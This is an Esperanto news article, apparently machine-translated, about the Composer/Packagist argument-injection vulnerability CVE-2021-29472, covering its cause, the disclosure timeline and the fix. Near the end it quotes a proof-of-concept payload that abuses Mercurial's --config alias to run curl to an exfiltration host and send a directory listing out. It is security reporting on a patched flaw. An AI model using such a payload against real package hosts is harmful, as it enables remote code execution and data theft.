Vundebleco en la pakaĵmanaĝero de Composer kiu permesas la kompromison de la Packagist PHP-deponejo

Kritika vundebleco (CVE-2021-29472) estis identigita en la dependa administranto de Komponisto, kiu ebligas plenumi arbitrajn komandojn en la sistemo dum prilaborado de pakaĵo kun speciale formatita URL-valoro, kiu specifas la adreson por elŝuti la fontkodon. La problemo okazas en la komponantoj GitDriver, SvnDriver kaj HgDriver uzataj kiam oni uzas Git, Subversion kaj Mercurial fontkontrolsistemojn. La vundebleco estis solvita en Composer-eldonoj 1.10.22 kaj 2.0.13.

Estas specife rimarkite, ke la afero ĉefe influis la defaŭltan pakaĵdeponejon de Komponisto, Packagist, kiu enhavas 306 pakaĵojn por PHP-programistoj kaj servas pli ol 1.4 miliardojn da elŝutoj monate. La eksperimento montris ke se ekzistis scio pri la problemo, atakantoj povus akiri kontrolon de la Packagist-infrastrukturo kaj kapti la akreditaĵojn de prizorgantoj aŭ redirekti pakaĵelŝutojn al triaparta servilo, organizante la liveron de pakaĵvariaĵoj kun malicaj ŝanĝoj por anstataŭigi malantaŭan pordon. dum la dependa instala procezo.

La danĝero por finaj uzantoj estas limigita al la fakto, ke la enhavo de composer.json estas kutime determinita de la uzanto, kaj fontaj ligiloj estas transdonitaj kiam ili aliras triajn deponejojn, kiuj kutime estas fidindaj. La ĉefa bato falis sur la deponejo Packagist.org kaj la Private Packagist-servo, kiu nomis Composer kun la translokigo de datumoj ricevitaj de uzantoj. Atakantoj povus efektivigi sian kodon sur Packagist-serviloj metante speciale desegnitan pakaĵon.

La Packagist-teamo riparis la vundeblecon ene de 12 horoj post la raporto de la vundebleco. La esploristoj private informis la Packagist-programistojn la 22-an de aprilo, kaj la problemo estis riparita la saman tagon. Publika ĝisdatigo al Komponisto pri la vundebleco estis publikigita la 27-an de aprilo, kun detaloj rivelitaj la 28-an de aprilo. Revizio de protokoloj sur Packagist-serviloj ne malkaŝis ajnan suspektindan agadon rilate al la vundebleco.

La problemo estas kaŭzita de cimo en la URL-validiga kodo en la radiko composer.json-dosiero kaj fontaj elŝutaj ligiloj. La eraro ĉeestas en la kodo ekde novembro 2011. Packagist uzas specialajn tavolojn por organizi kodan ŝarĝon sen esti ligita al specifa fontkontrolsistemo, kiuj estas ekzekutitaj vokante "fromShellCommandline" kaj pasante komandliniajn argumentojn. Ekzemple, por git, la komando "git ls-remote -heads $URL" estas vokita, kie la URL estas prilaborita per la metodo "ProcessExecutor::escape($url)", eskapante eble danĝerajn konstrukciojn kiel "$(. ..)" aŭ "` ...`".

La kerno de la problemo estas ke la ProcessExecutor::escape-metodo ne eskapis la "—" sekvencon, kio permesis al iu ajn aldona alvoka parametro esti specifita en la URL. Tia eskapo mankis en la ŝoforoj GitDriver.php, SvnDriver.php kaj HgDriver.php. La atako GitDriver.php estis malhelpita de la fakto, ke la komando "git ls-remote" ne subtenis specifi pliajn argumentojn post la vojo. Atako kontraŭ HgDriver.php rezultis esti ebla pasante la parametron "--config" al la ilo "hq", kiu ebligas al vi organizi la ekzekuton de ajna komando manipulante la agordon "alias.identify". Ekzemple, por elŝuti kaj ekzekuti kodon rulante la buklan ilon, vi povus specifi: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Afiŝante testan pakon kun simila URL al Packagist, la esploristoj kontrolis, ke post afiŝado, ilia servilo ricevis HTTP-peton de unu el la Packagist-serviloj en AWS, kiu enhavas liston de dosieroj en la nuna dosierujo.

fonto: opennet.ru

Aldoni komenton